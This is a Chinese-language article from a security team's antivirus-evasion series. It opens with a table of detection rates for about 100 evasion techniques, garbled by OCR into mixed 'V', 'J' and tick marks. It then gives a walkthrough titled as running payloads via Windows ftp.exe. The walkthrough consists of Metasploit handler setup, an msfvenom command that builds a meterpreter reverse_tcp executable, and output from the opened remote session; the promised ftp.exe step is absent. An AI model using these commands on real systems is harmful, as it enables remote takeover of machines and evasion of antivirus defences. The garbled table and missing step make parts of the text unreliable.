Author:VIITomFord@Tide安全团队

Tide安全团队:

Tide安全团队致力于分享高质量原创文章,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等多个领域,对安全感兴趣的小伙伴可以关注或加入我们。

Tide安全团队自研开源多套安全平台,如Tide(潮汐)网络空间搜索平台、潮启移动端安全管控平台、分布式web扫描平台WDScanner、Mars网络威胁监测平台、潮汐指纹识别系统、潮巡自动化漏洞挖掘平台、工业互联网安全监测平台、漏洞知识库、代理资源池、字典权重库、内部培训系统等等。

Tide安全团队自建立之初持续向CNCERT、CNVD、漏洞盒子、补天、各大SRC等漏洞提交平台提交漏洞,在漏洞盒子先后组建的两支漏洞挖掘团队在全国300多个安全团队中均拥有排名前十的成绩。团队成员在FreeBuf、安全客、安全脉搏、t00ls、简书、CSDN、51CTO、CnBlogs等网站开设专栏或博客,研究安全技术、分享经验技能。

对安全感兴趣的小伙伴可以关注Tide安全团队Wiki: http://paper.TideSec.com 或团队公众号。



声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

文章打包下载及相关软件下载: https://github.com/TideSec/BypassAntiVirus

免杀能力一览表

几点说明:

- 1、表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
- 2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp 模块生成。
- 3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本 5.0.0.8160 (2020.01.01),火绒版本 5.0.34.16 (2020.01.01),360安全卫士 12.0.0.2002 (2020.01.01)。
- 4、其他杀软的检测指标是在 virustotal.com (简称VT) 上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为杀软查杀能力或免杀能力的判断指标。
- 5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。
- 6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理,静态查杀 payload或者查杀白名单程序都没有任何意义,所以这里对白名单程序的免杀效果 不做评判。

序号	免杀方法	VT查杀率	360	QQ	火绒	卡巴	McAfee	微软	Symantec	瑞星	金山	江民	趋势
1	未免杀处理	53/69									V	V	
2	msf自编码	51/69		√							$\sqrt{}$	$\sqrt{}$	
3	msf自捆绑	39/69		√							V	V	V
4	msf捆绑+编码	35/68	J	√							√	√	V
5	msf多重编码	45/70		√			J				√	√	√
6	Evasion模块exe	42/71		√							√	√	V
7	Evasion模块hta	14/59			√				V		√	√	√
8	Evasion模块csc	12/71		√	√	√	J		V	J	√	√	V
9	Veil原生exe	44/71	V		√						√		√
10	Veil+gcc编译	23/71	V	√	√		J				√	√	V
11	Venom-生成exe	19/71		√	J	J	J				J	J	V
12	Venom-生成dll	11/71	V	√	√	√	J	√			V	√	V
13	Shellter免杀	7/69	J	V	J		V		J		J	J	V
14	BackDoor-Factory	13/71		V	V		✓	V			J	J	V
15	BDF+shellcode	14/71		V	J		J		V		J	J	V
16	Avet免杀	17/71	J	V	J		J			J	V	V	V

	17	TheFatRat:ps1-exe	22/70		,							,		
	17 18	TheFatRat:加壳exe	22/70		√ 	J		√ 	√ 	√ 		√ 	√ 	<i>Γ</i>
	19	TheFatRat:c#-exe	12/70 37/71	V	√ 		J	√ √	J	J	<i>r</i>	J	\(\)	\(\)
	20	Avoidz:c#-exe			√ 		-				√ 	√ 	J	√
			23/68		√ -		√ 	√ -			J	√ 		√ -
	21	Avoidz:py-exe	11/68		√ -		√ -	√		J		√ -	√ -	√ -
	22	Avoidz:go-exe	23/71		√ -		√ -	√ -	√ -			√ -	√ -	√ -
	23	Green-Hat-Suite	23/70	_	√ -		V	V	J		_	√ -	√	√ -
	24	Zirikatu免杀	39/71	V	V	J					V	V	J	V
	25	AVIator免杀	25/69	V	V	J		J		J	J	V	J	V
	26	DMKC免杀	8/55		V		V		V	V	V	V	V	V
	27	Unicorn免杀	29/56			V				J		J	J	V
	28	Python-Rootkit免杀	7/69	V	√	J		J		V	V	V	V	V
	29	ASWCrypter免杀	19/57	V				J				J	V	V
	30	nps_payload免杀	3/56	√	V	√		V	√	V	V	V	√	V
	31	GreatSct免杀	14/56	√	√	√			V	J	1	✓	J	√
	32	HERCULES免杀	29/71			√						V		V
	33	SpookFlare免杀	16/67		$\sqrt{}$	J	√	V	J	V	√	√		✓
	34	SharpShooter免杀	22/57	√	$\sqrt{}$				V	2"		√	J	✓
	35	CACTUSTORCH免杀	23/57	V	√	√		J				√	V	V
	36	Winpayloads免杀	18/70	$\sqrt{}$	√	J	$\sqrt{}$	V	7	J	$\sqrt{}$	V	J	V
	37	C/C++1:指针执行	23/71	V	V			V		V		V		V
	38	C/C++2:动态内存	24/71	V	✓			1		V		√		V
	39	C/C++3:嵌入汇编	12/71	V	V	V		J	J	√		V	V	V
	40	C/C++4:强制转换	9/70	V	V	V		J	J	J	V	V	V	V
	41	C/C++5:汇编花指令	12/69	V	J	J		J	J	J		V	J	V
	42	C/C++6:XOR加密	15/71	√	J	V		J		J	V	V	V	V
	43	C/C++7:base64加密1	28/69	J	J	V		V		V		V	J	V
	44	C/C++8:base64加密2	28/69	V	J	V		V		V		V		V
	45	C/C++9:python+汇编	8/70	V	V	V	V	V	V	J	V	√	J	V
	46	C/C++10:python+xor	15/69	J	J	V	J	J		V	V	V	J	V
	47	C/C++11:sc_launcher	3/71	√	√	√	√	√	V	√	√	√	√	√
	48	C/C++12:使用SSI加载	6/69	√	√	√	√	√	√	√	•	√	J	√
	49	C# 法1:编译执行	20/71	√ √	√ √	√		√ √		√ √	V	√	√ √	√ √
	50	C# 法2:自实现加密	8/70	√ √	√	√	V	√ √	J	√ √	√	√	J	√
	- •	7,700	-,. 0	v	•	¥	·	V	•	V	V	V	,	,
	51	C# 法3:XOR/AES加密	14/71	V	J	V		J		J	✓	V	J	V
	52	C# 法4:CSC编译	33/71	V	J	V					√	V	V	J
	53	py 法1:嵌入C代码	19/70	V	J	✓			√		J	V	J	J
	54	py 法2:py2exe编译	10/69	V	J	V		J		V	√	V	J	V
	55	py 法3:base64加密	16/70	V	J	V	√				✓	V	V	√
7/1	56	py 法4:py+C编译	18/69		J	J					J	V	V	J
	57	py 法5:xor编码	19/71	J	J	J					J	J	V	J
	58	py 法6:aes加密	19/71	V	J	V					J	V	V	V
	59	py 法7:HEX加载	3/56	V	J	V	V	J		V	V	V	V	J
	60	py 法8:base64加载	4/58	J	J	V	J	J		J	J	V	V	J
	61	ps 法1:msf原生	18/56	J	J	J					J	J	V	J
	00	>+0.00tn+	0/50	,	,	,	,	,	,	,	,	,		,

62	ps 法2.5U加载	0/58	V	V	V	V	V	V	V	V	V	V	V
63	ps 法3:PS1编码	3/58	V	J	J		J	J	J	J	J	V	J
64	ps 法4:行为免杀	0/58	√	√	√	V	√	√	√	√	√	√	√
65	go 法1:嵌入C代码	3/71	V	V	V	V	V		J	J	V		J
66	go 法2:sc加载	4/69	V	V	V	V	V	V	J	V	V		J
67	go 法3:gsl加载	6/71	√	V	V	√	V	V	J	V	V	V	J
68	ruby加载	0/58	V	J	V	V	V	V	J	J	J	V	J
69	MSBuild 代码1	4/57	V	V	V		V	V		V	V	V	V
70	MSBuild 代码2	18/58	V	V	J				J		V	V	J
1	Msiexec 法1	22/60	V	V	V				V		V	V	J
72	InstallUtil.exe	3/68	V	V	V	V	J	V	J	V	V	J	1
73	Mshta.exe	26/58	V	V	V						V	J	J
74	Rundll32.exe	22/58			V						J	J	V
5	Regsvr32 法1	22/58			V						V	V	J
76	Regsvr32 法2	18/58		√	√			V	V	V	J	√	J
77	Cmstp.exe	21/57			V						J	V	J
8	ftp.exe	-	-	-	-	-	-	-	- 1/2/2	-	-	-	-
'9	Regasm/Regsvcs.exe	-	-	-	-	-	-	- ,	9	-	-	-	-
80	Compiler.exe	-	-	-	-	-	-	-//	2	-	-	-	-
1	MavInject.exe	-	-	-	-	-	-	-	-	-	-	-	-
2	presentationhost.exe	-	-	-	-	-	-	-	-	-	-	-	-
3	IEexec.exe	-	-	-	-		-	-	-	-	-	-	-
4	winrm/slmgr.vbs	-	-	-	-	-		-	-	-	-	-	-
5	pubprn.vbs	-	-	-	-(1-)	-	-	-	-	-	-	-
36	Xwizard.exe	-	-	-/	-	-	-	-	-	-	-	-	-
37	winword.exe	-	-		-	-	-	-	-	-	-	-	-
38	msdeloy.exe	-	-1	-	-	-	-	-	-	-	-	-	-
39	psexec.exe	-	-	-	-	-	-	-	-	-	-	-	-
00	WMIC.exe	-	- "	-	-	-	-	-	-	-	-	-	-
91	SyncAppvPub~.vbs		-	-	-	-	-	-	-	-	-	-	-
2	Pcalua.exe	-	-	-	-	-	-	-	-	-	-	-	-
93	zipfldr.dll		-	-	-	-	-	-	-	-	-	-	-
94	Url.dll	-	-	-	-	-	-	-	-	-	-	-	-
95	DiskShadow.exe	-	-	-	-	-	-	-	-	-	-	-	-
96	Odbcconf.exe	-	-	-	-	-	-	-	-	-	-	-	-
7	Forfiles.exe	-	-	-	-	-	-	-	-	-	-	-	-
98	Te.exe	-	-	-	-	-	-	-	-	-	-	-	-
99	CScript/WScript.exe	-	-	-	-	-	-	-	-	-	-	-	-
100	InfDefaultInstall.exe	-	-	-	-	-	-	-	-	-	-	-	-

本文目录:

- 免杀能力一览表
- 一、Ftp.exe简介
- 二、使用Ftp.exe执行Payload
- 三、总结

一、Ftp.exe简介

Ftp.exe是Windows本身自带的一个程序,属于微软FTP工具,提供基本的FTP访问。

Ftp.exe所在路径已被系统添加PATH环境变量中。因此, Ftp.exe命令可识别。

Windows 2003 默认位置:

C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe

Windows 7 默认位置:

C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe

由于白名单加载payload的免杀测试需要结合杀软的行为检测才合理,查杀白名单文件都没有任何意义,payload文件的查杀率依赖于对payload的免杀处理,所以这里对白名单程序的免杀效果不做评判。

二、使用Ftp.exe执行Payload

复现环境:

- 靶机win7
- 攻击机 kali 192.168.19.128

1、配置攻击机MSF;

```
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > Interrupt: use the 'exit' command to quit
msf exploit(multi/handler) > set AutoRunScript migrate -f
AutoRunScript => migrate -f
msf exploit(multi/handler) > set LHOST 192.168.19.128
LHOST => 192.168.19.128
msf exploit(multi/handler) > options
Module options (exploit/multi/handler):
   Name Current Setting Required Description
Payload options (windows/meterpreter/reverse_tcp):
   Name
            Current Setting Required Description
   EXITFUNC process
                                    Exit technique (Accepted: '', seh, thread, process, none)
                           yes
                                    The listen address (an interface may be specified)
   LHOST 192.168.19.128 yes
   LPORT
            4444
                                     The listen port
                           yes
```

2、使用msfvenom生成shellcode;

```
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.19.128 LPORT=4444 -f exe > shellcode.exe
```

3、靶机执行恶意shellcode;

```
msf exploit(multi/handler) > exploit
 [*] Started reverse TCP handler on 192.168.19.128:4444
  ] Sending stage (179779 bytes) to 192.168.19.130
[*] Meterpreter session 2 opened (192.168.19.128:4444 -> 192.168.19.130:49609) at 2020-02-20 16:30:50 +0800
[*] Session ID 2 (192.168.19.128:4444 -> 192.168.19.130:49609) processing AutoRunScript 'migrate -f'
[!] Meterpreter scripts are deprecated. Try post/windows/manage/migrate.
[!] Example: run post/windows/manage/migrate OPTION=value [...]
OPTIONS:
              Launch a process and migrate into the new process
              Help menu.
              Kill original process.
    -n <opt> Migrate into the first process with this executable name (explorer.exe)
    -p <opt> PID to migrate to.
meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > getuid
Server username: Tide-ICS\TideICS
meterpreter >
```

三、总结

由于shellcode.exe使用msfvenom生成的原生态shellcode,因此360、火绒均会报警。



由于shellcode的源码使用msfvenom生成,所以VT查杀相对较高,查杀率:48/61。

